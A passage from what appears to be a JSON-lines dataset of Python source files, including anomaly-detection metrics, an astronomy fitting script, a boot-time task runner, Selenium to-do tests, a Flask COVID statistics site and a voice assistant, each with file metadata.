outlier algorithms.')\n\n\ndef get_preselected_detection_choices(detection_choices):\n preselected = [LISA_PEARSON]\n\n if (RPCA_HUBER_LOSS, RPCA_HUBER_LOSS) in detection_choices and (SVM, SVM) in detection_choices:\n preselected.append(RPCA_HUBER_LOSS)\n preselected.append(SVM)\n\n else:\n preselected.append(LISA_DTW_PEARSON)\n\n return preselected\n\n\ndef _add(x, y):\n \"\"\"\n Adds to values\n :param x: first value\n :param y: second value\n :return: result of the addition\n \"\"\"\n\n return x + y\n\ndef _subtract(x, y):\n \"\"\"\n Subtracts two values\n :param x: first value\n :param y: second value\n :return: result of the subtraction\n \"\"\"\n\n return x - y\n\n\ndef next_dt(dt, f, inferred_freq, size=1):\n \"\"\"\n Provides a later or earlier datetime from the given datetime that corresponds\n to a certain frequency and size.\n\n :param dt: a datetime object\n :param f: a function to either subtract or add two datetime object\n :param freq: the frequency for the timedelta\n :param size: the size of the window (that is applied with the frequency)\n :return: the next later or earlier datetime\n \"\"\"\n\n # some freqs require relative offset, others can be computed with timedelta\n if inferred_freq.endswith(('MS', 'AS', 'B', 'W', 'M', 'SM', 'BM', 'CBM', 'SMS', 'BMS', 'CBMS', 'Q', 'BQ', 'QS', 'BQS', 'A', 'Y', 'BA', 'BY', 'YS', 'BAS', 'BYS', 'BH')):\n next_dt = (f(dt, to_offset(inferred_freq) * size)).to_pydatetime()\n else:\n next_dt = f(dt, pd.to_timedelta(to_offset(inferred_freq)) * size)\n\n return next_dt\n\n\ndef next_earlier_dt(dt, inferred_freq, size=1):\n return next_dt(dt, lambda x, y: _subtract(x,y), inferred_freq, size)\n\n\ndef next_later_dt(dt, inferred_freq, size=1):\n return next_dt(dt, lambda x, y: _add(x,y), inferred_freq, size)\n\n\ndef zscore_for_column(column, index, skipna=True):\n \"\"\"\n Returns the Z Scores of a pandas dataframe column. Mean and std will handle NaN values by default\n\n :param column: the column\n :param index: the index\n :param skipna: defines if to skip NaN values\n :return: Z-Score for column\n \"\"\"\n\n # ddof = 0: population standard deviation using n; ddof = 1: sample std deviation using n-1\n return (column - column.mean(skipna=skipna)) / column.std(skipna=skipna, level=None, ddof=0)\n\n\ndef df_zscore(df, skipna=True):\n \"\"\"\n Transforms a dataframe to z-score values\n\n :param df: the dataframe of raw data\n :param skipna: defines if to skip NaN values\n :return: a dataframe of Z-Score values\n \"\"\"\n\n df_zscore = df.apply(lambda column: zscore_for_column(column, column.name, skipna), axis=0)\n return df_zscore\n\n\ndef get_threshold_scores(thresholds, y_scores, valid, upper_boundary=False):\n \"\"\"\n Computes for each possible threshold the score for the performance metrics\n\n :param thresholds: a list of possible thresholds\n :param y_scores: the list of computed scores by the detection algorithm\n :param valid: the true class values to run the performance metric against\n :param upper_boundary: determines if score higher than thresholds are anomalies or not\n\n :return: array of scores for each threshold for each performance metric\n \"\"\"\n scores = []\n\n # any comparison (other than !=) of a NaN to a non-NaN value will always return False,\n # and therefore will not be detected as anomaly\n with np.errstate(invalid='ignore'):\n\n for threshold in thresholds:\n y_hat = np.array(y_scores < threshold).astype(int) if upper_boundary == False else np.array(y_scores > threshold).astype(int)\n\n scores.append([recall_score(y_true=valid.values, y_pred=y_hat, zero_division=0),\n precision_score(y_true=valid.values, y_pred=y_hat, zero_division=0),\n fbeta_score(y_true=valid.values, y_pred=y_hat, beta=1, zero_division=0),\n accuracy_score(y_true=valid.values, y_pred=y_hat),\n normalized_mutual_info_score(valid.values, y_hat, average_method='arithmetic'),\n mean_squared_error(valid.values, y_hat, sample_weight=None, multioutput='uniform_average', squared=True)])\n\n return np.array(scores)\n\n\ndef get_detection_meta(threshold, y_hat_results, y_truth, upper_boundary=False):\n info = {}\n\n accuracy = accuracy_score(y_pred=y_hat_results, y_true=y_truth)\n recall = recall_score(y_pred=y_hat_results, y_true=y_truth, zero_division=0)\n precision = precision_score(y_pred=y_hat_results, y_true=y_truth, zero_division=0)\n f1_score = fbeta_score(y_pred=y_hat_results, y_true=y_truth, beta=1, zero_division=0)\n\n nmi = normalized_mutual_info_score(y_truth.flatten(), y_hat_results, average_method='arithmetic')\n rmse = mean_squared_error(y_truth, y_hat_results, sample_weight=None, multioutput='uniform_average', squared=True)\n\n # we set labels 0,1 manually because the dataset could contain only one class\n cnf_matrix = confusion_matrix(y_truth, y_hat_results, labels=[0,1])\n info['cnf_matrix'] = cnf_matrix.tolist()\n\n info['threshold'] = threshold\n info['accuracy'] = accuracy\n info['recall'] = recall\n info['precision'] = precision\n info['f1_score'] = f1_score\n\n info['nmi'] = nmi\n info['rmse'] = rmse\n\n info['upper_boundary'] = upper_boundary\n\n logging.debug('Threshold: %.3f' % threshold)\n logging.debug('Accuracy Score: %.3f' % accuracy)\n logging.debug('Recall Score: %.3f' % recall)\n logging.debug('Precision Score: %.3f' % precision)\n logging.debug('F1 Score: %.3f' % f1_score)\n\n logging.debug('NMI Score: %.3f' % nmi)\n logging.debug('RMSE Score: %.3f' % rmse)\n\n return info\n","sub_path":"vadetisweb/utils/anomaly_detection_utils.py","file_name":"anomaly_detection_utils.py","file_ext":"py","file_size_in_byte":7499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"21671796","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 27 12:02:58 2022\n\n@author: Dartoon\n\"\"\"\n\nimport numpy as np\nimport astropy.io.fits as pyfits\nimport matplotlib.pyplot as plt\n\nimport glob\nfrom galight.fitting_specify import FittingSpecify\nfrom galight.fitting_process import FittingProcess\nfrom galight.data_process import DataProcess\nfrom galight.tools.astro_tools import plt_fits\nfrom galight.tools.measure_tools import measure_bkg\nimport pickle\n\nrun_folder = 'stage3_all/' #!!!\n# dp_files = glob.glob('fit_material_second_smFOV/data_process_idx0_*F150W*.pkl')\n# dp_files = glob.glob('fit_material_second_smFOV/data_process_idx0_F356W_FOVpsf2.pkl')\ndp_files = glob.glob(run_folder+'fit_material/data_process_idx0_F356W_FOVpsf*.pkl')\ndp_files.sort()\n\nidx = 0\nfrom target_info import target_info\ninfo = target_info[str(idx)]\ntarget_id, RA, Dec, z = info['target_id'], info['RA'], info['Dec'], info['z']\n\nfrom galight.tools.measure_tools import mask_obj\n\nfor i in [4]:\n# for i in range(5):\n# for i in range(8,16):\n# for i in range(16,24):\n# for i in range(24, 30):\n# for i in range(30, len(dp_files)):\n file = dp_files[i]\n print(file)\n filename = dp_files[i].replace('data_process', 'fit_run_withcentralMask')[:-4]+'_{0}.pkl'.format(i)\n idx = file.split('idx')[1].split('_')[0]\n target_id = target_id\n _data_process = pickle.load(open(file,'rb'))\n psf = _data_process.PSF_list[-1]\n psf[psf<0] = 0.\n psf = abs(psf)\n _data_process.PSF_list[-1] = psf\n _data_process.noise_map = np.nan_to_num(_data_process.noise_map, nan=1000)\n \n apr = _data_process.apertures[0]\n apr.a, apr.b = 4, 4\n apr.positions[0], apr.positions[1] = len(_data_process.target_mask)/2, len(_data_process.target_mask)/2 \n mask = mask_obj(_data_process.target_mask, [apr])[0]\n _data_process.target_mask = mask\n fit_sepc = FittingSpecify(_data_process)\n fit_sepc.prepare_fitting_seq(point_source_num = 1, supersampling_factor = 3)\n # ps_pix_center_list = [ps_pos] ) #, fix_n_list= [[0,4],[1,1]])\n fit_sepc.kwargs_params['lens_light_model'][3][0]['R_sersic'] = 0.06\n # fit_sepc.kwargs_params['lens_light_model'][4][0]['R_sersic'] = 0.6\n # fit_sepc.kwargs_constraints['linear_solver'] = False\n fit_sepc.plot_fitting_sets()\n fit_run = FittingProcess(fit_sepc, savename = target_id)\n fit_run.run(algorithm_list = ['PSO','PSO', 'PSO'], fitting_level=['norm','deep', 'deep'])\n fit_run.plot_final_qso_fit(target_ID =target_id)\n filt = _data_process.filt\n pickle.dump(fit_run , open(filename, 'wb'))\n fit_run.savename = 'figures/run_with_mask'\n fit_run.plot_final_qso_fit(save_plot=True, target_ID = 'Fit with a central mask')\n # # fit_run.fitting_specify_class.\n # host_flux = fit_run.final_result_galaxy[0]['flux_within_frame']\n # AGN_flux = fit_run.final_result_ps[0]['flux_within_frame'] \n # ratio = host_flux/(host_flux+AGN_flux)\n \n ","sub_path":"projects/2022_JWST_QSOz6/model_z6_data_id0/Sanity_check_run_with_mask.py","file_name":"Sanity_check_run_with_mask.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187848865","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]\n# Embedded file name: T:\\InGame\\Gameplay\\Scripts\\Server\\routing\\waypoints\\waypoint_generator_locators.py\n# Compiled at: 2020-07-22 03:38:26\n# Size of source mod 2**32: 1964 bytes\nfrom routing.waypoints.tunable_waypoint_graph import TunableWaypointGraph\nfrom routing.waypoints.waypoint_generator import _WaypointGeneratorBase\n\nclass LocatorIdToWaypointGenerator(_WaypointGeneratorBase):\n\n def __init__(self, locator_ids, constraint_radius, *args, **kwargs):\n (super().__init__)(*args, **kwargs)\n self._locator_ids = locator_ids\n self._constraint_radius = constraint_radius\n if locator_ids:\n self._start_constraint = TunableWaypointGraph.locator_to_waypoint_constraint(locator_ids[0], constraint_radius, self._routing_surface)\n else:\n self._start_constraint = None\n\n def get_start_constraint(self):\n return self._start_constraint\n\n def get_waypoint_constraints_gen(self, routing_agent, waypoint_count):\n for locator_id in self._locator_ids:\n if waypoint_count == 0:\n return\n constraint = TunableWaypointGraph.locator_to_waypoint_constraint(locator_id, self._constraint_radius, self._routing_surface)\n if constraint is not None:\n yield constraint\n waypoint_count -= 1","sub_path":"Scripts/simulation/routing/waypoints/waypoint_generator_locators.py","file_name":"waypoint_generator_locators.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"98368489","text":"# Copyright 2013 Carl George\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\nimport glob\nimport os\nimport subprocess\nimport sys\nimport syslog\nimport time\n\n\ndef log(msg, args):\n ''' Log to syslog and optionally console. '''\n if args.debug:\n sys.stdout.write('{0}\\n'.format(msg))\n sys.stdout.flush()\n syslog.syslog(msg)\n\n\ndef call_tasks(tasks, args):\n ''' Run each task in the given task list. '''\n for task in tasks:\n # strip off the path to the script name\n taskname = os.path.basename(task)\n # run the script and save the exit status\n process = subprocess.Popen(task,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True)\n status = process.wait()\n if status == 0:\n # run successfully\n result = 'completed'\n elif status == 126:\n # task not executable\n result = 'skipped'\n else:\n # unknown exit status\n result = 'exited with a status of {0}'.format(status)\n log('task {0} {1}'.format(taskname, result), args)\n else:\n log('finished processing tasks', args)\n\n\ndef get_tasks():\n ''' Obtain the list of tasks from /etc/rcrun.d '''\n # set the tasks directory\n tasks_dir = '/etc/rcrun.d'\n # create a list of all the files in that directory\n tasks = glob.glob('{0}/*'.format(tasks_dir))\n # sort the tasks to honor numbered order (00-foo, 01-bar, etc.)\n tasks.sort()\n # return the list\n return tasks\n\n\ndef status_check(args):\n ''' Obtain the RackConnect status from xenstore. '''\n # false if xenstore isn't mounted\n if not os.path.ismount('/proc/xen'):\n log('xenstore is not yet mounted', args)\n return False\n # system command to pull metadata from xenstore\n xencmd = ['xenstore-read',\n 'vm-data/user-metadata/rackconnect_automation_status']\n try:\n process = subprocess.Popen(xencmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n except EnvironmentError:\n # false if the command is not found\n log('failed to execute xenstore-read', args)\n return False\n else:\n output = process.communicate()\n # 0 stdout, 1 stderr\n if output[1]:\n log('recieved error from xenstore-read', args)\n log(output[1].rstrip('\\n'), args)\n return False\n elif output[0] == '\"DEPLOYED\"\\n':\n # RackConnect is done\n log('RackConnect automation complete', args)\n return True\n else:\n # status is probably DEPLOYING, FAILED, or UNPROCESSABLE\n log('RackConnect automation not yet complete', args)\n return False\n\n\ndef control(args):\n ''' Logic control. '''\n # loop for the count\n for attempt in range(args.count):\n if status_check(args):\n # RackConnect is done, so return out of the loop\n return True\n else:\n # wait for the interval and loop again\n time.sleep(args.interval)\n else:\n # ran out of attempts\n log('hit max api attempts, giving up', args)\n return False\n\n\ndef handle_args():\n ''' Process command line flags. '''\n # set main program variables\n the_name = 'rcrun'\n the_description = 'Launch scripts after RackConnect automation is complete.'\n the_version = '%(prog)s 2.0'\n # create our parser object\n parser = argparse.ArgumentParser(prog=the_name,\n description=the_description)\n parser.add_argument('-v',\n '--version',\n action='version',\n version=the_version)\n parser.add_argument('-c',\n '--count',\n type=int,\n default=10,\n metavar='X',\n help='Number of attempts to check the RackConnect '\n 'status. Defaults to 10.')\n parser.add_argument('-i',\n '--interval',\n type=int,\n default=60,\n metavar='X',\n help='Number of seconds to wait between attempts. '\n 'Defaults to 60.')\n parser.add_argument('-d',\n '--debug',\n action='store_true',\n help='Enable output on standard out.')\n # parse the arguments to create args object\n args = parser.parse_args()\n return args\n\n\ndef main():\n # set the ident for syslog\n syslog.openlog('rcrun')\n args = handle_args()\n if control(args):\n tasks = get_tasks()\n call_tasks(tasks, args)\n else:\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n\n# vim: set syntax=python sw=4 ts=4 expandtab :\n","sub_path":"rcrun.py","file_name":"rcrun.py","file_ext":"py","file_size_in_byte":5522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"294155792","text":"\"\"\"\nAlejandra De Osma \nCMS_380 \nDr.Myers Fall 2020\n\nSprint_1 / class_size\n\n\"\"\"\n#Imports:\n\nimport csv\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\n\n\n# Declaring dictionaries \n\nstudents_per_course = {}\ncourses_per_students = {}\n\n\n# Open the file and create a csv reader\nf = open('enrollments.csv', 'r') \n\n# Creating a csv reader that processes file f\nreader = csv.reader(f)\n\n# Reader automatically iterates through the lines in the file\n\n\n# csv reader automatically turns the line into a list of fields\nfor line in reader:\n\n student_id = line[0]\n course_id = line[1]\n \n# This if statement checks if we have previously seen that student id\n# Registers it in the directory\n# Append the course_id to the students courses list \n\n if student_id not in courses_per_students:\n \n courses_per_students[student_id]=[]\n courses_per_students[student_id].append(course_id)\n \n \n# This if statement checks if we have previously seen that course_id\n# Registers it in the directory\n# Append the student_id to the spesific courses list of students \n if course_id not in students_per_course:\n \n students_per_course[course_id]= []\n students_per_course[course_id].append(student_id)\n \n\"\"\" \nCalculation functions\n\n\"\"\"\ndef mean_class_size(x):\n courses = []\n \n for student in x:\n courses.append(len(x[student]))\n return(sum(courses)/len(courses))\n \ndef median_class_size(x):\n courses=[]\n \n for student in x:\n courses.append(len(x[student]))\n courses.sort()\n if( len(courses) % 2==0):\n c1 = courses[int(len(courses) / 2)]\n c2 = courses[int(len(courses)/2 -1)]\n return((c1 + c2) / 2) \n \n else:\n c = courses[int(len(courses)/2)]\n \n return (c)\n \n \n\"\"\"\nCompleting calculations\n\n\"\"\"\nclass_mean = mean_class_size(students_per_course)\nclass_median = median_class_size(students_per_course)\n\nclass_size = [len(students_per_course[x]) for x in students_per_course]\n \n \n \n\"\"\"\nUsing Matplot\n\n\"\"\"\n#First plot -> Box plot\n\nplt.subplot(121)\nplt.boxplot(class_size)\nplt.title(\"Avarage Class Size\")\nplt.xlabel(\"Class\")\nplt.ylabel(\"Number of Students\")\n\n#Second plot -> Histogram\nplt.subplot(122)\nplt.hist(class_size)\nplt.title(\"Class Size\")\nplt.xlabel(\"Class Size\")\nplt.ylabel(\"Number of Classes\")\n\n#Saving the plots in one file\nplt.savefig(\"class_size_Matplot.pdf\", bbox_inches=\"tight\")\n ","sub_path":"Sprint-1-Python_and_Descriptive_Statistics/Deliverables/class_size.py","file_name":"class_size.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"379378776","text":"from .base import FunctionalTest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nclass NewVisitorTest(FunctionalTest):\t\n\tdef test_can_start_a_list_and_retrieve_it_later(self) :\n\t\tself.browser.get(self.server_url)\n\t\tself.assertIn('To-do', self.browser.title)\n\t\tinputbox=self.get_item_input_box()\n\t\theader_text=self.browser.find_element_by_tag_name('h1').text\n\t\tself.assertIn('to-do', header_text)\n\t\tself.assertEqual(\n\t\t\tinputbox.get_attribute('placeholder'),\n\t\t\t'Enter a to-do item'\n\t\t)\n\t\tinputbox.send_keys('Buy peacock feathers')\n\t\tinputbox.send_keys(Keys.ENTER)\n\t\t#redirect to a list url\n\t\t\t\t\n\t\tlist_url=self.browser.current_url\n\t\tself.assertRegex(list_url,'lists/.+')\n\t\tfirst_user_url = self.browser.current_url\n\t\tself.check_for_row_in_table('1: Buy peacock feathers')\n\t\t\n\t\t#You can input another item from the list url\n\t\tinputbox=self.get_item_input_box()\t\t\n\t\tinputbox.send_keys('Buy more peacock feathers')\n\t\tinputbox.send_keys(Keys.ENTER)\n\t\t\n\t\t#go to the list url\n\t\tlist_url=self.browser.current_url\n\t\tself.assertRegex(list_url,'lists/.+')\n\t\t\n\t\t#check all in the right place\n\t\tself.check_for_row_in_table('1: Buy peacock feathers')\n\t\tself.check_for_row_in_table('2: Buy more peacock feathers')\n\t\t\n\t\t#close the browser and go away\n\t\tself.browser.quit()\n\t\t\n\t\t#somebody else comes along\n\t\tself.browser=webdriver.Firefox()\n\t\t\n\t\t#go home page. no sign of previous list\n\t\tself.browser.get(self.server_url)\n\t\tpage_text=self.browser.find_element_by_tag_name('body').text\n\t\tself.assertNotIn('peacock',page_text)\n\t\t\n\t\t#put in new stuff\n\t\tinputbox=self.get_item_input_box()\n\t\tinputbox.send_keys('buy milk')\n\t\tinputbox.send_keys(Keys.ENTER)\n\n\t\t#redirect to a list url\t\t\t\t\n\t\tlist_url=self.browser.current_url\n\t\tself.assertRegex(list_url,'lists/.+')\n\t\tself.check_for_row_in_table('1: buy milk')\n\t\t\n\t\t#You can input another item from the list url\n\t\tinputbox=self.get_item_input_box()\n\t\tinputbox.send_keys('get beer')\n\t\tinputbox.send_keys(Keys.ENTER)\n\t\t\n\t\t#go to the list url\n\t\tlist_url=self.browser.current_url\n\t\tself.assertRegex(list_url,'lists/.+')\n\t\t\n\t\t#make sure the url second bit is not the same as first user\n\t\tsecond_user_url = self.browser.current_url\n\t\tself.assertNotEqual(second_user_url, first_user_url)\n\t\n\t\t#check all in the right place\n\t\tself.check_for_row_in_table('1: buy milk')\n\t\tself.check_for_row_in_table('2: get beer')\n\t\t\n\t\t#and old list still not there\n\t\tpage_text=self.browser.find_element_by_tag_name('body').text\n\t\tself.assertNotIn('peacock',page_text)\n","sub_path":"functional_tests/test_new_visitor_test.py","file_name":"test_new_visitor_test.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"243814815","text":"from flask import Flask, session, render_template, request, redirect, jsonify, json\n#from flask_session import Session\nfrom helpers import TopList, CountryList,HeadlinesPerCountry,HistPerCountry,ConvertToList\nfrom helpers import ColorList,ListOfDates,HistPerCountryLong,KPIList,SinceDayX,TotalDeathsEU\nfrom americas import StatesList,HeadlinesPerStateWM, ConvertWMtoJH, HistPerState, HistPerStateLong\nfrom scraper import ExcessMort\n\napp = Flask(__name__)\n\n# Configure session to use filesystem\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\n#Session(app)\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/country\", methods=[\"GET\"])\ndef countryGet():\n \"\"\"get an overview of the key stats per country get the country\"\"\"\n \n # User reached route via GET\n if request.method == \"GET\":\n \n countryList = CountryList()\n return render_template(\"countryGET.html\", countryList=countryList)\n \n # User reached route via POST\n else:\n return render_template(\"apology.html\", message=\"Method not allowed\"), 405\n\n@app.route(\"/country/\", methods=[\"GET\"])\ndef country(country):\n \"\"\"get an overview of the key stats per country display\"\"\"\n \n # User reached route via GET\n if request.method == \"GET\":\n \n content = HeadlinesPerCountry(country)\n countryList = CountryList()\n \n history = HistPerCountryLong(country)\n deaths = ConvertToList(history[\"history\"][\"deaths\"])\n newdeaths = ConvertToList(history[\"history\"][\"newDeaths\"])\n cases = ConvertToList(history[\"history\"][\"cases\"])\n newcases = ConvertToList(history[\"history\"][\"newCases\"])\n dates = ListOfDates(history[\"history\"][\"deaths\"])\n \n return render_template(\"country.html\", content=content, countryList=countryList, newdeaths=newdeaths, deaths=deaths, dates=dates, cases=cases, newcases=newcases)\n \n # User reached route via POST\n else:\n return render_template(\"apology.html\", message=\"Method not allowed\"), 405\n\n@app.route(\"/graph\")\ndef graph():\n \"\"\"displays a bubble chart with four dimensions for each of the top countries\"\"\"\n\n numberCountries = 25\n\n rankingsJSON = TopList(numberCountries,'json')\n rankingsJSON = json.loads(rankingsJSON)\n return render_template(\"graph_bubble.html\",countries=rankingsJSON)\n\n@app.route(\"/rankings\")\ndef rankings():\n \"\"\"displays a table with the key KPIs for each country\"\"\"\n\n rankingsJSON = TopList('All','json')\n rankingsJSON = json.loads(rankingsJSON)\n return render_template(\"rankings.html\", countries=rankingsJSON)\n\n\n@app.route(\"/compare\", methods=[\"GET\", \"POST\"])\ndef compare():\n \"\"\"compare two countries\"\"\"\n \n # User reached route via GET\n if request.method == \"GET\":\n \n countryList = CountryList()\n return render_template(\"getCompare.html\", countryList=countryList)\n \n # User reached route via POST\n elif request.method == \"POST\":\n\n # Check if the user included two separate companies\n if not request.form.get(\"country1\"):\n return render_template(\"apology.html\", message=\"must provide two countries to compare\"), 400\n \n if not request.form.get(\"country2\"):\n return render_template(\"apology.html\", message=\"must provide two countries to compare\"), 400\n \n country1 = request.form.get(\"country1\")\n country2 = request.form.get(\"country2\")\n\n # Check if the user typed two countries that are actually in the list\n countryList = CountryList()\n if country1 in countryList and country2 in countryList:\n \n # Collect the right data lists for both companies.\n history = HistPerCountryLong(country1)\n deaths = ConvertToList(history[\"history\"][\"deathsPerOneMLN\"])\n cases = ConvertToList(history[\"history\"][\"casesPerOneMLN\"])\n newdeaths = ConvertToList(history[\"history\"][\"newDeaths\"])\n newcases = ConvertToList(history[\"history\"][\"newCases\"])\n avgdeaths = SinceDayX(country1)\n dates = ListOfDates(history[\"history\"][\"cases\"])\n\n history2 = HistPerCountryLong(country2)\n deaths2 = ConvertToList(history2[\"history\"][\"deathsPerOneMLN\"])\n cases2 = ConvertToList(history2[\"history\"][\"casesPerOneMLN\"])\n newdeaths2 = ConvertToList(history2[\"history\"][\"newDeaths\"])\n newcases2 = ConvertToList(history2[\"history\"][\"newCases\"])\n avgdeaths2 = SinceDayX(country2)\n \n # Resize the KPI lists and rebase them to 100%\n KPIcountry1 = KPIList(country1)\n KPIcountry2 = KPIList(country2)\n for i in range(len(KPIcountry1)):\n maxKPI = max(KPIcountry1[i],KPIcountry2[i])\n if maxKPI == 0:\n KPIcountry1[i]=0\n KPIcountry2[i]=0\n else:\n KPIcountry1[i]=(KPIcountry1[i]/maxKPI)*100\n KPIcountry2[i]=(KPIcountry2[i]/maxKPI)*100\n\n # Make labels for the line chart\n maxLength = max(len(avgdeaths),len(avgdeaths2))\n labels = []\n for i in range(maxLength):\n labels.append(i+1)\n \n return render_template(\"compare.html\", country1=country1, country2 = country2, countryList=countryList, deaths=deaths, deaths2=deaths2, \\\n newdeaths=newdeaths, newdeaths2=newdeaths2, cases=cases, cases2=cases2, newcases2=newcases2, newcases=newcases, dates=dates, \\\n KPIcountry1=KPIcountry1, KPIcountry2=KPIcountry2, avgdeaths=avgdeaths, avgdeaths2=avgdeaths2, labels=labels)\n\n else:\n return render_template(\"apology.html\", message=\"unknown country\"), 400\n\n else:\n return render_template(\"apology.html\", message=\"method not allowed\"), 405\n\n\n@app.route(\"/ExcessMortality\")\ndef excess_mort():\n \"\"\"Comparing the official Corona stats with excess mortality in Europe\"\"\"\n \n # the graphs start in the summer of 2016\n start=0 \n source = ExcessMort()\n totalDeaths = source['total_number_deaths_tot'][start:]\n baseline = source['baseline_deaths_tot'][start:]\n excess = source['excess_deaths_tot'][start:]\n dates = source['Date'][start:]\n \n # to compare with the corona stats we start on 1 Jan 2020\n Nr = list(dates).index(\"2020-01\")\n totalDeaths20 = totalDeaths[Nr:]\n baseline20 = baseline[Nr:]\n dates20 = dates[Nr:]\n excess20 = excess[Nr:]\n corona20 = TotalDeathsEU()\n corona20 = corona20['Europe24']\n\n return render_template(\"euromomo.html\", deaths=totalDeaths, dates=dates, baseline=baseline, dates20=dates20, excess20=excess20, corona20=corona20)\n\n@app.route(\"/states\", methods=[\"GET\"])\ndef statesGet():\n \"\"\"get the list of all US states\"\"\"\n \n # User reached route via GET\n if request.method == \"GET\":\n \n stateList = StatesList()\n return render_template(\"statesGET.html\", stateList=stateList)\n \n # User reached route via POST\n else:\n return render_template(\"apology.html\", message=\"Method not allowed\"), 405\n\n@app.route(\"/states/\", methods=[\"GET\"])\ndef state(state):\n \"\"\"get an overview of the key stats per US state\"\"\"\n \n # User reached route via GET\n if request.method == \"GET\":\n \n stateWM = ConvertWMtoJH('JH', state)\n content = HeadlinesPerStateWM(stateWM)\n stateList = StatesList()\n \n history = HistPerStateLong(state)\n deaths = ConvertToList(history[\"history\"][\"deaths\"])\n newdeaths = ConvertToList(history[\"history\"][\"newDeaths\"])\n cases = ConvertToList(history[\"history\"][\"cases\"])\n newcases = ConvertToList(history[\"history\"][\"newCases\"])\n dates = ListOfDates(history[\"history\"][\"deaths\"])\n \n return render_template(\"us_states.html\", content=content, stateList=stateList, newdeaths=newdeaths, deaths=deaths, dates=dates, cases=cases, newcases=newcases)\n \n # User reached route via POST\n else:\n return render_template(\"apology.html\", message=\"Method not allowed\"), 405\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":8215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"87416463","text":"# Sort an array which only consists of 0s, 1s and 2s\n\nn = int(input())\narr = list(map(int, input().strip().split()))\nsorting_array = [0, 0, 0]\nsorted_array = []\n\nfor x in arr:\n sorting_array[x] += 1\n\nfor i, x in enumerate(sorting_array):\n sorted_array += [i] * x\n\nprint(sorted_array)\n","sub_path":"Array/4.0 Array 012 sort.py","file_name":"4.0 Array 012 sort.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"618733442","text":"from flask import Flask\nfrom route import main\n\n\napp = Flask(__name__)\n\napp.register_blueprint(main)\n\nif __name__ == \"__main__\":\n config = dict(\n host=\"0.0.0.0\",\n port=9001,\n debug=True\n )\n\n app.run(**config)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"427087760","text":"import pyttsx3\nimport speech_recognition as sr\n\n\ndef read_file(filename):\n \"\"\"\n Read content in filename\n :param filename:\n :return: contents\n \"\"\"\n with open(filename, mode='r', encoding='utf8') as fp:\n contents = fp.read()\n return contents.splitlines()\n\n\ndef find_answer(text, list_cons, list_prices):\n \"\"\"\n Find price for consumption\n - Find index of this consumption in list_cons\n - Return correspond price in list_prices\n :param text:\n :param list_cons:\n :param list_prices:\n :return:\n \"\"\"\n for idx, cons in enumerate(list_cons):\n if cons.lower() in text.lower():\n return list_prices[idx]\n return -1\n\n\ndef say(text):\n global engine\n engine.say(text)\n engine.runAndWait()\n\n\ndef kill():\n global alive\n alive = False\n\n\nengine = pyttsx3.init()\nrecognizer = sr.Recognizer()\n\n\ndef assistant_process():\n list_cons = read_file('data/question.txt')\n list_prices = read_file('data/answer.txt')\n list_stops = read_file('data/stopped.txt')\n\n with sr.Microphone() as src:\n recognizer.adjust_for_ambient_noise(src)\n run = True\n error = 0\n while run and error <= 3:\n say(\" What information that you want to know?\")\n print(\"Listening....\")\n audio = recognizer.listen(src, timeout=8, phrase_time_limit=2)\n print(error)\n try:\n text = recognizer.recognize_google(audio)\n error = 0\n print(text)\n\n for word in list_stops:\n if word in text.lower():\n say(\"Good bye. Have a good day!\")\n run = False\n if not run:\n break\n ans = find_answer(text, list_cons, list_prices)\n print(ans)\n if ans == -1:\n say(\"I don't know!\")\n else:\n say(ans)\n say(\"Do you want to continue?\")\n say(\"Please say yes or no\")\n print(\" Yes or No\")\n text = ''\n while True:\n try:\n print(\"listening....\")\n audio = recognizer.listen(src)\n text = recognizer.recognize_google(audio)\n break\n except sr.UnknownValueError:\n say(\"I don't understand!\")\n say(\"Please say yes or no\")\n print(text)\n if \"yes\" not in text.lower():\n say(\"Bye\")\n break\n except sr.UnknownValueError:\n print(\"Dont know\")\n say(\"Can you repeat?\")\n error += 1\n except sr.RequestError:\n print(\"RequestError\")\n say(\"Network is out of service\")\n break\n except sr.WaitTimeoutError:\n print(\"WaitTimeoutError\")\n except sr.HTTPError:\n 